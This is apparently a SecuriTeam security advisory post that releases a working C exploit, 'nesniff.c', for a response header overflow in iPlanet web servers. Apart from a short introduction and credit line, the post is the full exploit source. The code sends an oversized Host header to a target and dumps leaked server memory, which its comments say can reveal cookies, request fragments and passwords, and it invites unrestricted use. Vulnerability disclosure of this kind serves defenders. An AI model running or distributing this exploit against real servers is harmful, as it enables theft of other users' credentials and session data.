SecuriTeam - Response Header Overflow Exploit Code Released

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In a previous article, we discussed the vulnerability that can be found in several iPlanet products and possibly in other products that allows attackers to cause the server to overflow internal buffers. The following is an exploit code that demonstrates the problem.

For more information on the vulnerability, see our previous post:
iPlanet Web Server Enterprise Edition Response Header Overflow

Credit:
The information has been provided by Evgeny Lev.

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Exploit:
/*
nesniff.c

idea from atstake's advisory "Response Header Overflow", www.atstake.com
coded by Saarioinen, 12 June 2001.

  Can give you some useful info (cookies, parts of requests, passwords, etc...)

   $./nesniff some_directory www.server.com 2000 -v
   ...
   ...
   a lot of garbage
   ...
   ...
   Do what you what whith this code, i don't care.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <errno.h>
#include <signal.h>

#define SIZE 2000

#define err(m) { \
  if (errno) perror(m); \
  else printf("%s\n", m); \
  exit(-1); \
}

unsigned long lookup_host(char *);
void usage(void);

int
main(int argc, char **argv)
{
  char *dir;
  unsigned char tmp[1];
  char *buf=NULL;
  int s, nbytes, size=SIZE, offset=500, verbose=0;
  unsigned long addr;
  struct sockaddr_in sa;

  if (argc < 3 || argc > 5)
    usage();

  dir = argv[1];

  if (argc > 3)
    size = atoi(argv[3]);

  if (argc > 4 && !strcmp(argv[4], "-v"))
    verbose++;

  addr = lookup_host(argv[2]);
  if (addr == -1)
    err("coudlnt resolve hostname.");

  memset(&sa, 0x0, sizeof(struct sockaddr_in));
  sa.sin_family = AF_INET;
  sa.sin_port = htons(80);
  sa.sin_addr.s_addr = addr;

  buf = (char *) malloc(size+offset);
  if (!buf)
    err("couldnt allocate memmory.");

  memset(buf+offset, '*', size);
  buf[offset+size-1]='\0';
  size += offset;

  snprintf(buf, size, "GET /%s HTTP/1.0\nUser-Agent: Mozilla/4.0 (Windows 95)\nHost: %s\n\n",
    dir, buf+offset);

  s = socket(AF_INET, SOCK_STREAM, 0);
  if (s < 0)
    err("socket()");

  if (connect(s, (struct sockaddr *) &sa, sizeof(struct sockaddr_in)) < 0)
    err("connect()");

  if (verbose)
    printf("Sending query:\n%s\n", buf);

again:

  nbytes = send(s, buf, size, 0);
  if (nbytes <= 0) {
    if (errno==EINTR) { usleep(10000);
    goto again;
    }
    else err("send()");
  }

  while (recv(s, tmp, 1, 0) > 0) {
    unsigned char ch = tmp[0];

    if (isprint(ch) || isspace(ch)) putchar(ch);
    else printf("0x%02x", ch);
  }

  putchar('\n');
  free(buf);
  return 0;
}

unsigned long
lookup_host(char *host)
{
  unsigned long addr;

  addr = inet_addr(host);
  if (addr == -1) {
    struct hostent *he = gethostbyname(host);
    if (he)
      addr = *(unsigned long *) he->h_addr;
  }
  return addr;
}

void
usage()
{
  printf("usage: ./nesniff directory hostname [size] [-v].\n");
  exit(1);
}

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